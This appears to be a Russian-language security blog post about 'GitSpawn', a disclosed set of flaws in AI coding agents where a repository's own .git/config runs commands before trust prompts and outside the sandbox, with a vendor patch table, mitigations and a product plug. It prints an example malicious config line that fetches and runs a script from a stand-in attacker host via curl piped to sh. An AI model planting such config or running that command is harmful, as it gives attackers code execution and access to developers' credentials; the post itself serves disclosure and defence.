
Чтобы ИИ-агент выполнил чужой код на вашей машине, ему не нужен ни хитрый промпт, ни «побег» из песочницы. Достаточно открыть присланный репозиторий: команда, зашитая в его же файле .git/config, запустится в фоне ещё до того, как агент спросит вас о доверии. Manifold Security раскрыла восемь таких дыр сразу в семи ИИ-агентах для программирования. Разбираем механику по деталям (по данным The Hacker News) и показываем, как ловить это в масштабе, а не глазами по одному репозиторию.
Что именно нашли
Исследователи Manifold Security опубликовали цепочку под названием GitSpawn: восемь уязвимостей в семи агентах, где конфигурация Git из самого репозитория запускает произвольные команды на машине разработчика, вне песочницы агента и без единого запроса на подтверждение. Ключевая деталь в том, что дыра не в модели и не в чём-то новом. Как формулирует сама Manifold: «уязвимость не в модели и не в новых механизмах, она в обычной сантехнике под капотом, в подпроцессе, который агент запускает на старте сессии, чтобы понять, где он находится».
Как это работает
Главный вектор — параметр core.fsmonitor. Это настройка производительности Git, значение которой представляет собой команду: Git выполняет её, чтобы быстро узнать, какие файлы изменились. Проблема в том, что команду берут из локального .git/config репозитория, а срабатывает она при любой операции, обновляющей индекс, вплоть до безобидных git status и git diff. Рядом работают ещё два ключа: core.hooksPath и attr.tree в связке с фильтрами clean или process.
Выглядит вредоносный конфиг обманчиво просто:
[core]
fsmonitor = "curl -s https://evil.example/p | sh"Дальше срабатывает тайминг. В Claude Code и Hermes Agent полезная нагрузка выполняется до окна с вопросом о доверии к папке, в Qwen Code до аутентификации пользователя, в Grok Build на первом же нажатии клавиши. Итог один: код атакующего работает с правами разработчика и получает доступ к его файлам, учётным данным и ресурсам аккаунта.
Важное ограничение, которое одновременно и успокаивает, и пугает. Обычный git clone вредоносный конфиг не переносит, поэтому склонированный с GitHub проект безопасен. А вот если репозиторий пришёл к вам файлами с целой папкой .git (в архиве, на общем диске, в синхронизируемой папке или на флешке), конфиг сохраняется полностью. Именно так такие проекты обычно и передают внутри команд.
Кого затронуло и что уже пропатчено
Картина по вендорам пёстрая: часть закрыла дыру быстро, часть молчит. На момент публикации четыре агента оставались уязвимыми.
| Инструмент | Уязвимые версии | Статус |
|---|---|---|
| goose | Все до 1.44.0 | Исправлено (1.44.0) |
| OpenAI Codex CLI | 0.102.0–0.130.0 | Исправлено (0.131.0) |
| Cursor | — | Исправлено |
| Claude Code | 2.1.193 / 2.1.252 | Частично: fsmonitor закрыт, ultrareview открыт |
| Hermes Agent | 0.18.2, 0.21.0 | Патча нет |
| Qwen Code | 0.19.6, 0.22.3 | Патча нет |
| Grok Build | 0.2.93, 1.0.13 | Патча нет |
Отдельная линия — Claude Code. Основной путь через core.fsmonitor Anthropic закрыла в версии 2.1.196, но второй путь, через режим claude ultrareview, на 1 сентября оставался открытым в 2.1.252. Компания Sonar ещё в апреле 2026 заметила, что Anthropic переносила стартовую последовательность ради закрытия проблемы в версии 2.0.34, но то же поведение вернулось в 2.1.193. Для OpenAI Codex выпущено три CVE, включая CVE-2026-19592; goose получил CVE-2026-72718 с оценкой 7,0.
Почему это опаснее, чем кажется
Это не эксплуатация ошибки в коде, а злоупотребление легитимной функцией. Точнее всех сформулировала команда Cobalt: «злоупотребление FSMonitor использует не баг, а нормальную возможность. Оно играет на стыке гибкости Git и автоматизации современных сред разработки, превращая простое открытие репозитория в выполнение кода».
Класс проблемы не нов: тем же самым в своё время болели Visual Studio Code (CVE-2021-43891) и среды JetBrains (CVE-2022-24346). Новизна в том, что теперь на детонатор садятся ИИ-агенты, которые сами, в фоне и без спроса дёргают Git на старте. И это уже не только теория: агент Hermes, для которого исправления пока нет, засветился в июльской атаке на сеть госоргана в Таиланде.
Как защититься уже сейчас
Пока вендоры латают агентов, защита ложится на разработчиков и на тех, кто отвечает за безопасность разработки. Практический минимум простой.
- Проверяйте
.git/configпрежде, чем открывать в агенте присланную папку. Ищитеcore.fsmonitor,core.hooksPathиattr.treeрядом с фильтром clean или process. - В любом репозитории, который пришёл файлами, выполните проверку и отключите опасный ключ глобально:
git config --get core.fsmonitor
git config --global --list | grep fsmonitor
git config --global core.fsmonitor false- Вендорам стоит вычищать конфигурацию на фоновых вызовах, например запускать
git -c core.fsmonitor=false status. - Проверять руками каждый репозиторий не масштабируется. В CI и на потоке входящих проектов это должен ловить статический анализ: agentpipe SaaS сканирует репозитории и настройки агентов и подсвечивает ровно такие опасные ключи Git и цепочки до того, как их откроет разработчик.
Итог
GitSpawn — хорошее напоминание о том, что ИИ-агент опасен не только своей моделью, но и всем, что он молча запускает вокруг. Самое слабое звено оказалось не в нейросети, а в тридцатилетней настройке Git, которую агенты научились дёргать автоматически. Пока четыре инструмента остаются без патча, а исправления приходят с задержкой, единственная надёжная стратегия — не доверять входящим репозиториям по умолчанию и проверять их конфигурацию до открытия, вручную для единичных случаев и потоковым сканированием для всего остального.